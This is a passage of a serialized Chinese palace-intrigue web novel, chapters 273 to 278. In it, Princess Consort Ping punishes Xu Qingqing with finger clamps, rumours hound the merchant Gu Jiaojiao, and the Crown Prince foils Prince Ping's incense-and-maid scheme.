徐青青的惨叫声呼彻整个屋子,却无人一人向她投去心疼的目光,旁边拉着夹棍的小厮更是不顾她的哀号,用尽全身力气去拉。 只一会儿,徐青青的手指便滴下血来。 平王妃抬了抬手,那些行刑的小厮也松了片刻,徐青青的疼痛却没有减少半分。 她哭着叫着,泪水因为疼痛不自觉的流了下来,若不是旁边有侍女按着她,她早就疼的满地打滚了。 “你若是个聪明的,本王妃也能容你,可你跟你那个贱人娘亲一样,只会狐媚男子,着实让人厌恶。” 平王妃说完之时,那夹棍便再次拉紧。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十三章 此乃家法 哀号声,求饶声充斥着这个荒凉的院子。 外面的风肆意的刮着,将那些凄惨的声音刮散,随后消失不见。 徐青青倒在地上,十根手指血肉模糊,血滴落在地板上,有些已经干涸,她的脸色苍白,白的吓人,红唇间也没有血色,疼痛更是让她那张好看的脸有些变形。 平王妃乃是平王的王妃,皇室里的妃子,这深宅里阴狠手段,她是信手拈来。 “徐青青,你要知道,我是平王府的正室王妃,就算你是王爷的血脉,也是我为尊,你为卑。” 平王妃的声音透着一丝阴冷,平静的神情让她更显得狠辣。 徐青青已经疼的没有什么力气,甚至说不出一个字,只是她眼中的恐惧让平王妃很是满意。 “罢了,念你之前无人教导,今日就到这儿吧,日后,你要更为谨慎一些。” 平王妃缓缓起身,轻叹了一口气,说话的语气像是她大发慈悲一样,她经过徐青青时,脚步顿了一下。 “送徐青青回安阳候府,再转告孙老夫人,她若是管不了家,便换人吧。” 平王妃高傲的从徐青青身边走垸,连一个眼神都不曾留下。 徐青青双手疼的要死,可是那些侍女与小厮却根本不管她的死活,拖着她便向车上走去。 他们会碰到她的手,拖动的过程中甚至会毫不顾及的拉她的手指,惨叫声再次响起。 徐青青就这副样子被送回了安阳候府。 孙协兆心疼不已,将人横抱在怀中,对着来人便是一顿指责。 “你们是什么人?青青为何会如此?是不是你们,你们对她做的?” 听着他的话,面前的人无动于衷,只一个侍女站了出来,微微欠身。 “我等乃是平王妃身边的人,平王妃有话,孙三夫人行事不端,给予教训,此乃家法。” 平王妃的人,也就是平王府的人,所谓家法,就是告诉孙协兆,他管不了。 孙协兆一时无言。 此时,听到动静的孙老夫人也带着人走了过来,看到徐青青这个样子也着实吓了一跳。 “孙老夫人安好,王妃有话。” 那侍女向孙老夫人行了个礼,但眉眼间皆却皆是高傲。 “姑娘请说。” 孙老夫人怔愣间立即回应。 “徐姑娘虽是平王的血脉,但未入族谱,如今既嫁入安阳候府,身为当家女眷,孙老夫人也要教她应有的规矩。” 那侍女停顿了一下后,看向一旁的孙协兆与徐青青后,又再次开口。 “这一次,王妃出手管教,是为家法,下一次,若是再有其他麻烦,王妃会来叨扰孙老夫人。” 那侍女微微躬身后,带着人离开,甚至没有给孙老夫人说话的机会。 孙老夫人吓的打了个踉跄,幸好身后有章氏与刘氏将其扶住。 “母亲,莫要着急。” “母亲莫担心,平王妃也只是提个醒,不会有事。” 她的两位儿媳安抚着她,可孙老夫人愤怒的目光却一直落在徐青青的身上。 “你这个丧门星,非要把全家都连累了才甘心吗?” 听着孙老夫人的怒喝,徐青青缩了缩脖子,向孙协兆的怀里靠了靠,抬起眼帘,水汪汪的大眼睛中满是委屈。 只这一眼,便让孙协兆忘记了刚刚的害怕。 “母亲,青青已经这般了,是后再说,我先带她回去,来人,去请郎中。” 孙协兆抱着徐青青,一边往她的院子里跑去,一边冲下人们大喊着。 孙老夫人气的不轻,指着那二人的背影,手指都在颤抖,却半天都没有说出一个字。 这王平妃的令都送到家门了,她那个不争气的儿子却还只是在意徐青青的那点伤,这让孙老夫人第一次后悔将徐青青娶进门。 刘氏与章氏扶着孙老夫人回到正厅。 “也不知道这徐青青做了些什么,竟然让平王妃都震怒了,还做了惩罚,实在有些骇人。” 刘氏是个没脑子的,也只是嘴上厉害,看着徐青青的手那个样子,早就吓破了胆。 章氏端了一杯茶递给孙老夫人,微低着头,缓缓开口。 “大抵是因为丝织局的事。” 自孙协兆被罚后,这章氏便暗中探查了一番,大概了解了这其中的缘由,除了丝织局一事,孙协兆和徐青青都得罪过顾皎皎。 “顾皎皎?你是说,这王府里接二连三的事,都跟那个贱人有关?” 只听到这个名字,孙老夫人便又觉得气血攻心。 “母亲,您还是小心一些吧,如今这顾皎皎岂可同日而语?又是太子,又是平王妃的,他们如此这般对待我们安阳候府,不就是在给顾皎皎出气吗?” 刘氏迫切的说着,感觉马上就要去向顾皎皎求饶了。 孙老夫人倒是被刘氏提醒了,难不成近来的事,还需要去找顾皎皎聊聊? “她一个被我逐出家门的人,莫不是还要我向她去说好话?” 孙老夫人自然不肯。 刘氏正欲说什么,章氏却拉了拉她,而后才轻声开口。 “母亲,儿媳觉得我们不必去找顾皎皎,而是要先理解平王妃的意思。” “平王妃?平王妃不就是说我们安阳候府不及王府吗?还有什么其他意思?” “母亲,平王妃是说,徐青青是我们安阳候府的儿媳,她若是出去惹了麻烦,便是您教导不善。” 章氏说的更直白了一些。 孙老夫人立即明白了她的意思。 “没错,王妃是让我们好好管教徐青青啊。” 婆媳二人商量半天才得出这样一个结论,也算是挺不容易。 刘氏不解,眼睛乱转着,一时无法理解。 “那顾皎皎呢?我们现在不表示一下,万一她日后再找我们麻烦怎么办?” “弟妹多虑了,就算这些事与顾皎皎有关,她也不会赖在我们头上,我们主动送上门去,反而不好。” 章氏低声劝着。 刘氏不懂,却一直都知道大嫂说的自是有道理,便也没再纠结此事。 安阳候府一片杂乱,外面也并没有好到哪里去。 顾皎皎以为徐青青闹了一场后,便也就过去了,却不想,还是让她身处漩涡之中。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十四章 划清界限 京城内流言四起。 顾掌柜为权为财,不惜出卖己身,攀附权贵。 “她是商户之女,不知什么手段嫁入候府,一跃身份大变,却在两年后又和离,可见此女子不一般。” “何止不一般,在安阳候府时,她也只是管家料理内宅之事,而如今呢,生意遍布于京城之中,她的霓裳阁更是成为皇商,自是厉害的。” “说起来,那顾掌柜我也见过,人家也是有资本,有一张倾国倾城的脸,曼妙的身姿,哎呀,只是看看便让人心神摇曳啊。” “你啊,就别做梦了,人家攀附的是权贵,你这辈子都享用不到。” …… 比这样更难听的话还有许多,比这更无耻的人也数不胜数。 第一楼里,每日接待的顾客中都会有人向伙计询问顾皎皎的价格,甚至还有人直接向楼上闯,花重金,只说与顾皎皎一起喝茶赏月。 最开始时,顾皎皎也会解释,但是时间久了,她便少出现在第一楼里。 顾府。 顾皎皎坐在窗前发呆,她的大脑一片空白,根本不知在想什么。 莺儿在她的身后走来走去,急的不行。 “这个徐青青真的是太讨厌了,她胡说八道几句话,就给我们带来这么大的麻烦。” “这太子殿下也是,帮人帮到底嘛,如今这情景,怕是没人会比他有用了。” “姑娘,你说若是有闹事的,我们报官如何?会不会有些用处?” 莺儿絮絮叨叨说了许多,但转头时发现顾皎皎只是背对着她,一动未动。 “姑娘?姑娘?” 莺儿的声音使顾皎皎回过神,转头看向这丫头。 “你说什么?” 合着刚刚莺儿说了那么多,她一句没听到。 “姑娘,你没事吧?” 莺儿有些担忧的问道。 流言的事情已经发酵了几日,顾皎皎已有两日未出门,莺儿还是担心她的心情不好,怕她想不开。 “没事啊,只是想事情入了神。” 顾皎皎转身走到桌前,缓缓坐下,脸上的神色淡然,并未见惊慌难过之色。 “姑娘,我是说,如今流言纷纷,我们不如找太子殿下帮忙?” 莺儿小心试探着询问着。 顾皎皎却因为她的主意不禁笑出了声。 “如今人人都传,太子帮忙是因为被我勾引,再让他来帮我,那不是坐实了传言吗?” 她还有心情开玩笑,便可见心情还好。 “可是……” “无妨,流言无稽,我避些日子,过段时日就好了,不过,霓裳阁如今不同,你定要吩咐他们盯好了,若有大事当机立断,可以不必报我。” 最后两句话顾皎皎说的极为严肃。 她刚刚拿下丝织局的供货权,也只是刚刚接触皇商,在这个时候不能出现差错。 “姑娘放心,我定要他们小心谨慎一些。” 莺儿听到顾皎皎这样说,心里的大石头也落了下来。 与此同时,身处皇宫里的沈云祉也得到了消息。 “你是说,顾皎皎已有两日未出现了?” 沈云祉坐在廊下,风很凉,他却又为自己倒了一杯酒,神态慵懒,问话也似是随意。 “双剑偷偷去看过了,顾姑娘一直待在她的府里,京城之中胆大包天的人不少,想来顾姑娘也只是想避避风头。” 双瑞抱拳汇报着。 沈云祉没有说话,只微微点了点头。 他低垂下眼眸,似是思索了一番,而后才看向双瑞。 “去准备一下,出宫。” “是。” 双瑞应下,可在转身之时又停下脚步,看着来人,他又不得不退到一边。 “要去哪里?” 云南王阔步走来,瞟了一眼双瑞后,又将目光落到沈云祉身上。 沈云祉起身,将手中的杯子放下。 “父王,我准备出宫。” 他自然知道云南王是听到了他的话,便没有隐瞒的必要,但却并未想到,云南王知道的不只如此。 云南王看了看栏上的酒壶与酒杯,也未端架子直接坐了下来。 “出宫?去找那位顾掌柜?” 听到这里,沈云祉不禁皱了皱眉,站在云南王面前,淡淡开口。 “父王这是何意?” 云南王抬眼,冲双瑞使了个眼色,双瑞立即明了,带着周围的侍卫侍女都离开了这个长廊。 “听闻你上次出宫,参与了丝织局选拔之事,又下令对安阳候府的公子处罚,我便多留心了一下,查了查顾皎皎。” 随着这个名字出来,云南王眼中的光芒也冷了几分。 沈云祉并未说话,只静静的听着。 “你如今是太子,就算是那女子已然和离,那也是曾经的臣妻,你与其牵扯不清,如今又处流言中心,你莫不是还想出宫去帮忙?” “父王误会了,那些只是流言,顾姑娘精通商道,我与其来往,只是因为生意,之前也跟您说过,我的生意现在如今都由她来打理。” 沈云祉坐到了云南王的对面,云淡风轻的解释着。 “若只是生意,你出钱她出力便就好,倒也不必为了一点小事出宫,免得落人话柄。” 云南王这是铁了心的要阻拦沈云祉出宫,且有理有据。 沈云祉将一抹笑挂在薄唇边。 “父王自回京便与从前不同了,父王曾说过,人生在世只求问心无愧,不必在意别人的看法,怎么现在连一介女子都要顾及了吗?” “放肆。” 云南王狠狠的瞪了沈云祉一眼,才又继续说了下去。 “因为我们现在是在京城,皇宫内苑,你是太子的身份,一个不小心便是抄家之罪,你母妃还在云南。” 云南王加重了这几个字。 沈云祉眉头皱起,薄唇微抿,眼底闪过一抹冰冷。 云南王没有继续提及云南王妃,但他们父子二人心知肚明。 “罢了,关于那女子,无论是真也好,是假也罢,你必要与她划清界限。” 云南王说着站起身,双手背在身后,微昂着头。 “你如今是太子,一言一行皆被看着,身上若是染上了污名,便是失了人心,何况……” 听到这里,沈云祉已经不想再解释什么。 “何况什么?” 他抬眼,看向云南王,似是意识到有大事发生。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十五章 他并不在乎 “定亲?” 沈云祉惊呼出声,一向冷静淡漠的他也少有露出震惊之色。 对于他这样的表现,云南王并不意外。 “定的是首辅大人的孙女,赵蕴苎。” 听到这个名字,沈云祉莫名的觉得有些想笑。 “父王,定亲这样大的事,我事先竟不知晓?” “婚姻大事,父王之命,媒妁之言,你不必知晓,至于为何与赵家结亲,想必你心里也有数。” 云南看向沈云祉的目光意味深长。 他自然有数。 如今这朝堂之上,论资历,论影响,再论权威,再无人抵得过首辅大人,而太子初立,日后便是君王,沈云祉的也是炙手可热。 这样的两家联姻,无论是于公于私,都是最好的选择。 沈云祉倚靠在柱子上,唇角扯过一抹漫不经心的笑意。 “就是父王与母妃当年也是两情相悦,父母的感情向来是儿臣所羡慕的,只可惜,如今的我倒是没得选了。” 他倒不是抱怨,而是在陈述一个事实。 “你知道便好,这条路是你自己选的,任何后果都要自己承担,就算将来你登上帝位,首辅大人的孙女也有资格,但那宫外的女子却是极不可能的。” 云南王这是在提醒他。 “父王说笑了,儿臣并未有此心,既然已经定下,儿臣应下就是。” 沈云祉是心怀大志之人,就如云南王所说,他选择了这条路,便没有后退可言,何况首辅大人也确实可以助他良多。 至于婚姻,对方是谁,他并不在乎。 无论如何,沈云祉是出不了这皇宫了,他在宫外的人手大多都如双剑一般,做些事还好,但若是解决麻烦,怕是指不上了。 只看她的造化了。 沈云祉这般想着。 安阳候府。 徐青青这次伤的不轻,日日因为疼痛而发出惨叫,缓解之时便是泪眼汪汪的向孙协兆诉苦。 孙协兆心疼不已,这几日下来,一直陪着她,就连吃饭都是他亲手喂的。 “夫君,大夫说我这手虽可养好,但是会留下疤痕,只怕会很是难看。” 徐青青倚靠在孙协兆的怀中,将一只伸到眼前,五根手指上都仔细的包扎着,虽然看不到血迹,但也给人触目惊心的感觉。 孙协兆轻轻拉着她的手,怕碰疼她,又想给她安慰。 “青青不怕,只要手没事就好,何况,在我心里,只要是你,无论什么样子都是最美的。” 此言一出,徐青青的脸上都是笑意,仰着脸儿,眼眶红着,楚楚可怜。 “我便知道,这世间对我最好的人便是夫君了,就连父王都不及你。” 说到底,徐青青的心里还是有怨气的。 经过这么多事,徐青青也知道,平王妃每次对她发难,都是经过平王同意的,平王怪她私订终身,更怨她丢了平王府的脸面。 可即使是这样,徐青青也是不甘的。 “说起父王,也当真是让我寒心,他竟会允许王妃这般对我,怕他都是忘记我娘亲了,日后,我这个女儿他也是不想认的。” 说着,徐青青的眼中又有晶莹的泪珠滑落。 孙协兆立即轻抚她的脸颊,语气又温柔了几分。 “莫怕,你到底是平王的女儿,如今岳父大人在气头上,过些时日便会好的。” “夫君说的没错,平王妃就是个不下蛋的母鸡,将来这平王府的未来还是在你我身上。” 徐青青水汪汪的大眼睛还挂着泪珠,唇边却袭上一抹笑意,但随后又黯淡下去。 “只是这一次便宜了顾皎皎。” “她的日子也不好过,听说都好几日没去第一楼了,来日方长,日后我们……” 孙协兆的话还未说完,一道威严的声音突然在门外响起。 “日后什么?” 二人抬头,便看到孙老夫人走了进来。 “还想着日后,莫不是要让整个安阳候府为你的愚蠢陪葬?” 孙老夫人直接坐了下来。 徐青青一脸狐疑,毕竟在此之前,孙老夫人是从未来过她这院子的。 孙协兆拉着她缓缓起身,轻扯了下她,而后便向孙老夫人行了礼。 “母亲,您怎么过来了?” 孙协兆在此之前毫不知情,又怕他的母亲是来找徐青青麻烦,整个人都显得有些紧张。 “我不过来?我再不过来,你被这个狐狸精生吞活剥了都不自知。” 孙老夫人瞪了自己的儿子一眼,随后便看向了徐青青。 “我已问过郎中,你的伤好的差不多了,从明日起,你每日来我房中听训,学规矩。” 此话一出,徐青青立马不愿意了,只是在孙协兆面前,她还要伪装一下虚弱。 “我知道母亲一向不喜欢我,可何必在这个时候为难儿媳,我们到底是一家人。” 她说着时,身体还不自觉的晃了晃,孙协兆见状马上将她扶住。 “母亲,您这又是在做什么?青青还伤着呢。” 孙协兆有些不情愿。 若是以往,孙老夫人定会因为她这个儿子的态度而生气,但今日不会。 孙老夫人端了端身子,瞟了一眼徐青青后,将坚定的目光落到孙协兆的身上。 “教她规矩这事,是平王妃的命令,你当日不是也听到了吗?你若是不愿,不如去平王府请道令下来,我也省得费这份心。” 话音落下,对面的二人都沉默了。 徐青青自是不敢去平王府的,她便将哀怨可怜的目光投向孙协兆。 孙协兆一脸为难,半晌,才拉起徐青青的手。 “你放心,母亲向来和善,只是学规矩而已,也算是给平王妃有个交代,日后她也不好再为难你。” 这话的意思是,让徐青青听从孙老夫人的命令。 徐青青还想再说些什么,但孙老夫人却起身离开了,并告诫她莫要误了时辰。 安阳候府如此,第一楼也并未好到哪里去。 顾皎皎前往第一楼查账,几日过去了,她以为至少那些流言该少一些了,但她忽略了,于民间而言这种风流韵事,最爱被人传唱。 她只一露面,便不知有多少不怀好意的目光投过来,胆子大些的已然开口说些有的没的,更有甚者直接挡住了顾皎皎的去路。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十六章 推波助澜 “多日不见顾掌柜,不知方不方便一起喝一杯?” 此男子身着华丽,那丝绸在阳光下都在泛光,暗色的花纹可看出此人有些银钱,又无比招摇,最让人厌恶的便是此人的神态。 他挡住了顾皎皎的去路,说话时没有礼数不说,那不怀好意的目光在顾皎皎身上上下游走。 顾皎皎后退两步,丝毫不掩饰自己脸上的不悦。 “这位公子,我们认识吗?” 其实不只此男子,就连第一楼里的其他人也都看过来,有的似是在看热闹,有的是直接找机会接近顾皎皎。 “今日之后不就认识了吗?我也知姑娘高傲,我虽无官职在身,但好歹有数不尽的家财,姑娘想要多少便有多少。” 此男子话音落下之时,周围便响起了起哄声。 顾皎皎微昂起头,冷眼扫过众人,最后看向面前的人。 “我虽不知你是何人,但想来也是有些家世的,公子此言,看似风流,实则缺教,不怕给家族蒙羞?” 她的脸上没有什么表情,声音也刻意提高了不少,自是让在场的人都听到。 那男子面露难堪之色,抿了抿唇,而后便是恼羞成怒。 “你装什么清高?小爷我看得上你,你还真把自己当回事了?就你这种货色,哪怕有脸,也是不知被多少男人……” 啪! 一记耳光声响起。 这次出手的不是顾皎皎,而是杜玉荣。 顾皎皎愣了一下,她甚至不知道杜玉荣是何时出现的,可此时的他就如一座山立在她的身侧,让她心底的那丝慌乱也荡然无存。 被打的男子瞬间愤怒,可就在他刚欲冲过来时,却被身边的同伴拦住。 “他是杜玉荣杜大人,首辅大人的学生,如今位列朝臣。” 有人小声的说着,那男子也瞬间没了脾气,转身离去。 杜玉荣看了顾皎皎一眼,目光柔和,婉如阳光,随后便用凌厉的目光扫向众人。 “顾掌柜虽为商户之女,却有骨气,前不肯为了肮脏候府卖力被诬陷,如今凭自己实力拿下丝织局的供货权也被人诟病,人性本善,诸位如此为难一个弱女子,是何等卑劣?” 他停顿了一下后,又扬了扬嘴角,只是这笑里透着一丝不屑。 “若有像那位公子那般胆大的,也尽可再出来试一试,皇商,乃是由朝廷护着的,依照律法,毁人清白,诬陷他人,是要下狱的。” 杜玉荣是谦谦君子,却也熟读律法,但凡是从他口中说出来的,便是不容质疑的事实。 现下,那些看热闹起哄的人都像鹌鹑一样,将头埋得极低,像是怕被别人发现自己一样。 杜玉荣也没再理会他们,转身看向顾皎皎。 “没事吧?” 他低声询问,眼中满是担忧,也有些自责。 杜玉荣这些时日帮着沈云祉打探朝中大臣的想法,一时忙的不可开交,今日才得知顾皎皎所遇之事,便匆忙赶来。 他还是怪自己来得太晚,看到她被别人欺负,一向温和如玉的他,也难以压制心中的怒火。 “我没事,劳杜大人挂心,楼上请。” 顾皎皎带着杜玉荣向楼上走去,如以往一样,进入一个安静的雅间,楼下的声音瞬间被阻隔在门外。 “又让杜大人见笑了,如今我身负骂名,杜大人今日虽仗义执言,可也怕连累了您的名声。” 顾皎皎扯动了一下嘴角,语气中都带着歉疚。 她为杜玉荣泡了茶,放在他的手边。 “顾姑娘多虑了,杜**生所求,唯有问心无愧四字,至于其他并不放在心上,又何来连累之说?” 杜玉荣笑起来的时候很好看,温润如玉,谦逊温厚。 顾皎皎浅笑,低垂下眼眸。 “不管如何,如今能为我说话的也只有杜大人一人,这样一来,我欠杜大的便更多了。” 她出自真心。 杜玉荣也知她心意,却并不想让她觉得亏欠。 “顾姑娘若是真心感谢,不如让他们给在下做碗鸽子汤,许久未尝,倒是想念。” 想念二字,蕴含着深义。 “好,大人稍等便是。” 顾皎皎与杜玉荣的相处总是会自在一些,少了一些规矩,也可多流露几分真性情。 待杜玉荣离开后,莺儿才陪着顾皎皎一同回府。 “外面传回来的消息,说是平王妃对徐青青用了夹棍之刑,连日来徐青青都未能出门,孙家的那个老太太不知为何开始让徐青青站规矩了。” 莺儿所说的不知为何,便是打探消息的人也不知道,可见安阳候府是故意瞒着外面的。 “徐青青自入安阳候府便是嚣张跋扈,孙家人都指着她的银钱,便也没人敢对她怎样,今日突变,怕是平王府那边给了什么消息。” 顾皎皎猜测着,毕竟徐青青除了有钱,还有着平王府郡主的身份,孙家人最是会欺软怕硬,若不是有什么指令,也万万不敢这般。 “奴婢不懂,虽说孙协兆与徐青青行事乖张,可到底也不会背叛平王,平王为何要对他们下手教训呢?” 莺儿歪着头,小小的脸上满是疑惑,在她的世界里,到底是自家儿女,就算犯了错,也该是护着的才对。 顾皎皎因她的话笑了笑,抬手轻刮了下她的鼻子。 “小事上,平王自然会由着他们胡闹,有着平王府这个挡箭牌,别人也会避着他们,可若是涉及到大事,平王只会自保。” “哦,我明白了,这几次的事都涉及到太子,平王躲都躲不及呢,那两个蠢祸还往上撞,这才惹怒了平王,对吧?” “聪明,不过这只是其一,其二嘛,就是平王妃对徐青青厌恶至极,借机教训,推波助澜,徐青青才有了今日之祸。” 顾皎皎看事情透彻。 也不知是从何时起,她开始琢磨人心,盘算官场,甚至开始关注朝政之事。 大抵,是从认识沈云祉开始。 马车停下,顾皎皎收起思绪下了马车。 她今日并不忙碌,却也觉得疲倦,吩咐莺儿准备些热水,她想早些歇息。 自然,顾皎皎也没有想到,接下来的时日,杜玉荣常常出现。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十七章 只有他自己清楚 皇宫。 多日未现身的平王突然进宫,打着的自然是看望皇上的旗号。 如今朝堂的稳固全靠首辅,平王到底是宗亲,他明着入宫看望皇上,不好让他不见。 在皇上的寝宫里,平王煞有其事的转了一圈,最后站到床榻边。 “看皇上这气色已然比之前好了许多,只是为何还未醒?太医如何说?” 平王询问着,伪装出担忧的模样。 沈云祉倚靠在床榻边,歪着头看他作戏,也不拆穿,只是将一抹玩味慵懒的笑挂在唇边。 “皇上气血不足,身体虚弱,醒来是早晚的事,只是比常人慢些罢了。” 他这话也确实是出自太医之口,只是这其中缘由只有他自己清楚。 “那便好,若是皇上醒来,还要请太子殿下派人通报一声。” “那是自然,平王叔与皇上乃是手足,若有好消息定会第一时间通知平王叔。” 沈云祉应付着,丝毫看不出二人之间的矛盾。 平王挑了挑眉毛,神色上却并没有多少满意,而后又侧目看了看一旁。 “如今皇上未醒,这殿里怎么还用如此重的薰香?正巧本王今日带来了一种香,是用鲜花汁子调的,对龙体无伤,味道也清新淡雅。” 平王可是个粗人,素日来别说是香料,只怕是新鲜的花朵也不曾多看一眼,今日这番举动难免让人起疑。 “平王叔,这宫中用香可都是经过内蜀司查验的,您这直接带来放这里,我也不敢用啊,万一出什么事,我怕是也说不清。” 沈云祉瞟了一眼那香料,却连碰都没有碰一下。 “你这是什么意思?难不成我还会害皇上吗?” 平王的音量都提高了不少。 沈云祉立即摆手,装出一副并非此意的模样。 “平王叔误会了,宫中人多眼杂,若是哪个奴才不安好心,到时候你我不都脱不了干系吗?” 平王听他这样说,神色倒是和缓了许多。 “你说的也有理,只是这香是平王妃亲手调的,对皇上的恢复也有好处,不如让内蜀司查上一查,我们也可安心。” 平王似是势必要将这香料放入皇上的寝宫,这也让沈云祉更为好奇。 “平王叔说的有理,我这就叫人来验。” 沈云祉吩咐了外面的人,只片刻功夫,内蜀司的管事便过来了。 在皇上的寝宫看到一对生死对头,这位管事的公公跪在地上不敢起来,生怕自己哪句话说错了,成为这二位撒气的引子。 “不必惊慌,叫你来,是让你看看这香料。” 沈云祉低垂下眼眸,冷声开口。 内蜀司的管事立即应下,起身去查看那香料,闻了闻,又点燃一点,而后还放在手中仔细端详了一阵儿。 “回太子殿下,此香料乃是用花汁所调,没有任何危害。” 管事的给出了答案。 “那便好,如此一来本宫与平王叔也都安心了。” 沈云祉笑着,转头看向平王。 “既如此,那便将这殿中的香换了吧。” 平王有些着急了。 沈云祉并未阻拦,看着下人将香料换掉,一抹淡淡的清香缓缓传来,确实给人一种清新的感觉。 “还是平王叔的眼光好,像这般好香,宫中都找不出几样。” 沈云祉一边客套的说着,一边送平王离开。 “也是巧合罢了,下次入宫,我再送些其他的来,太子殿下留步,不必送了。” 平王连头都没有回,便大步离开。 沈云祉停下脚步,看着他的背影,脸上的笑意也瞬间消失。 “无事献殷勤,非奸即盗。” 双瑞像个魂魄一样站到沈云祉身边,说出来的话都显得阴森森的。 沈云祉转头瞪了他一眼,欲离开时,似是突然想到什么一样又停下脚步。 他凝视着双瑞,上下打量,半眯起的眼中袭上一抹笑意。 双瑞不禁后退两步。 “殿下,属下可是正经之人。” 果然,他得到了沈云祉的拳头。 翌日。 顾皎皎出门前往霓裳阁,马车摇摇晃晃,没走多远却停了下来。 莺儿立即下车查看,顾皎皎也从马车向外看去。 前方不知发生了何事,围满了人,就连道路中间都被围的水泄不通,就算她身在马车之上,也看不出什么。 顾皎皎只在车上等着,便等了近一刻钟,莺儿这才气喘吁吁的跑回来。 “姑娘,这条路过不去了,我们绕路吧。” 莺儿不似是征求顾皎皎的意思,说完后便上了车,而后命令车夫人换条路走。 “出了何事?” 顾皎皎一脸好奇,这大清早便围了这么多人,可见是出了大事。 “是平王府门前,跪着一个女子,哭喊着求平王饶命,但为了何事却并不知晓。” 莺儿是费了好大的力气才钻进人群里,又看又问的才得到了这样一个结果,怪不得回来的时候,还有些生闷气。 “只是这样,便围了那么多人?” 顾皎皎不解。 这里可是京城,高门大户门前出现这样那样的女子也是常事,最差的也无非是一些风流韵事,可以平王妃的手段,也不会出现这般大的影响。 “听旁边的人议论,说是平王之前出来过,但只看了那姑娘一眼便再没出来,那姑娘还说自己办事不力,让平王放过她和她的家人呢。” 莺儿认真的回答着。 顾皎皎微微点头。 “如此说来,便不是男女之事。” 不过,这姑娘胆子也是大得很,又是饶命,又是牵扯到家人,就这样堂而皇之喊出来,竟丝毫不怕平王吗? “姑娘觉得不妥?要不要去打探一下?” 看着顾皎皎若有所思的模样,莺儿立即询问。 顾皎皎笑了笑。 “王府的事与我们无关,不必打探。” 可是之前,顾皎皎都是会了解的,就像平王闯宫之时,不就是她查探到的消息吗? 莺儿心里这样想着,但并未说出来。 与此同时,平王府门前的那个女子也被人带进了王府。 正厅里,平王与平王妃并排而坐,那女子就跪在他们面前。 平王肉眼可见的愤怒,平王妃倒是冷静开口。 “说说看,发生了何事?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十八章 永不许进京 平王府门前的姑娘已经被带进了府,可是府外还是有许多看热闹的人守着,是风流事,还是另有隐情,他们都想打听清楚。 而此时府里的那女子也说明了情况。 “昨晚,太子殿下如往常一样小酌几杯,奴婢便按照王爷的吩咐暗中潜入殿内,可是不曾想,太子殿下了根本未中那迷香,直接将奴婢抓了个正着。” 女子跪在地上,脸上挂着泪,一五一十的说着昨夜的情况。 平王咬了咬牙,恶狠狠的瞪着那女子。 “你在宫中服侍多年,随便请个借口也能蒙混过去,何必出宫,还闹成这般模样?” “王爷,是殿下,殿下识破了计谋,也看懂了那香,且奴婢撒谎过后,太子殿下便欲赐死奴婢,奴婢……” 这丫头也是后来从沈云祉与双瑞的对话时才得知,那个双瑞是个懂香料的,知道那香料无毒无害,但若是饮酒,便有动情之效。 沈云祉故意喝了几杯酒,就是为引平王的人出来,而这丫头听从平王发的指令,本想趁虚爬上沈云祉的床,却不想被瓮中捉鳖。 听着这些,平王更气,将手中的茶盏重重的摔了出去。 “沈云祉,一个毛都没长全的毛头小子,竟有这般心计,他从未信过我。” 平王以为内蜀司验过,沈云祉便不会多心,那香奇特,鲜有人知,而沈云祉身边竟巧合的有这样的人。 这些都不在平王的预料之内。 “太子殿下饶你性命,是因为你说了王爷的计划,那你出宫跪在府门前,又是为何?” 平王妃淡淡开口。 说实话,平王所做的这些,她并不知晓,但却也并不意外。 “回王妃,奴婢,奴婢要保家人。” 那女子抬起头看向平王,咬了咬唇又将头埋了下去。 她没细说,但平王妃已然懂了。 平王收买她,给了她好处,却也用她性命为威胁,她不成事,又出卖平王,必然不得善果,而她出宫这一闹,便是另一番结果了。 “太子殿下好手段,你若不在平王府门前大闹,他会赐死你和你的家人,如今闹了这一通,他饶你性命不说,连王爷也不能对你怎样了。” 平王妃平淡的开口,眼底还是忍不住滑过一丝冰冷,死死的盯着这侍女,心中已然看透了一切。 这女子一个头重重的磕在地上。 “奴婢为王爷效力多年,从未出过差错,宫中一切消息皆由奴婢传出,请王爷与王妃看着奴婢滑功劳也有苦劳的份上,放过奴婢。” 她不过是一介宫女,众多眼线中的一个,但今日却是底气十足,自然是受了太子殿下的指点。 “罢了,你先下去,容我跟王爷商量一下。” 平王妃冲身边的冬儿使了个眼色,冬儿立即上前将那侍女带出了正厅。 “王爷如何想?” 平王妃转头看着一脸怒气的平王,低声询问。 “杀了他们,本王要把他们杀的一个不留。” 平王咬牙切齿,任人欺辱到头上的感觉让他愤怒,更让他不甘。 平王这样的答案,平王妃也并不意外,她到底还是了解自己夫君的脾性。 “王爷要杀要剐都好,只是如今不是时候。” 平王妃停顿了一下,看了看外面,又压低了声音。 “百姓们都看着这丫头被带入王府,如若她及她家人出事,除了律法还有民情,王爷没必要冒这个险。” “你没听到她说吗?沈云祉已经知道此事,若是留下活口,他日当堂对质,这便就是人证。” “王爷息怒。” 眼见着平王又要摔杯子,平王妃忙上前阻拦。 “太子殿下若真是拿此事说事,便不会放这侍女出宫,而是会擒着她前来找王爷对质,今日这般,太子是在给王爷提醒,依妾身之见,日后不会再被提起。” 平王妃秀外慧中,不是普通的深宅妇人,也是跟在平王身边久了,多少会洞察人心。 平王神色缓和了一些,却仍有疑惑。 “沈云祉心思难测,手段了得,他如今只是太子,就与首辅的孙女定下亲事,本王本想借着这次机会放个女子在他身侧,一来毁他名声,二来也让首辅心生芥蒂,却不想……” “王爷安心,这事说破天去,也不过是后宫之事,就算来日有人提及,你是王叔,操心晚辈的生活,想他身边有人照料,这理由也是说的过去的,可若是出了人命了,便是另一回事。” 平王妃劝说着,也分析着,倒是让平王听进去了。 “你说的是,那便将人放了吧,还有就是……” “王爷放心,妾身会让她带着家人立即离开京城,永不许入京。” 此事便这般定了,为了防止外面的百姓有什么争议,平王妃还赏赐了许多物件,让那侍女带出王府,此事才算告一段落。 霓裳阁。 顾皎皎已然接下丝织局的供货权,自是忙碌,可哪怕是在霓裳阁里,也会有一些不好听的声音。 